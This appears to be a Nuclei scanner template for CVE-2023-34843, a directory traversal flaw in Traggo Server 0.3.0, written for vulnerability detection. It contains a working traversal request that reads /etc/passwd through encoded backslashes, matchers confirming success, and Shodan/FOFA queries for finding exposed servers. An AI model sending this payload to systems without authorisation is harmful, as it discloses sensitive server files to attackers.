id: CVE-2023-34843

info:
  name: Traggo Server - Local File Inclusion
  author: DhiyaneshDk
  severity: high
  description: |
    traggo/server version 0.3.0 is vulnerable to directory traversal.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/rootd4ddy/CVE-2023-34843
    - https://github.com/0x783kb/Security-operation-book
    - https://github.com/Imahian/CVE-2023-34843
    - https://github.com/hheeyywweellccoommee/CVE-2023-34843-illrj
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-34843
    cwe-id: CWE-22
    epss-score: 0.06413
    epss-percentile: 0.92807
    cpe: cpe:2.3:a:traggo:traggo:0.3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: traggo
    product: traggo
    shodan-query:
      - html:"traggo"
      - http.html:"traggo"
    fofa-query: body="traggo"
  tags: cve2023,cve,traggo,lfi,server,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/plain

      - type: regex
        part: body
        regex:
          - "root:.*:0:0"

      - type: status
        status:
          - 200
# digest: 490a004630440220592afb081ec93229f12818c12289a1be33b124ee15eeb7867fac27553f2ed635022013859bd036c652ec5f14c7c14d99a1c33248a6bccede20e88e53b1ecea38df2d:922c64590222798bb761d5b6d8e72950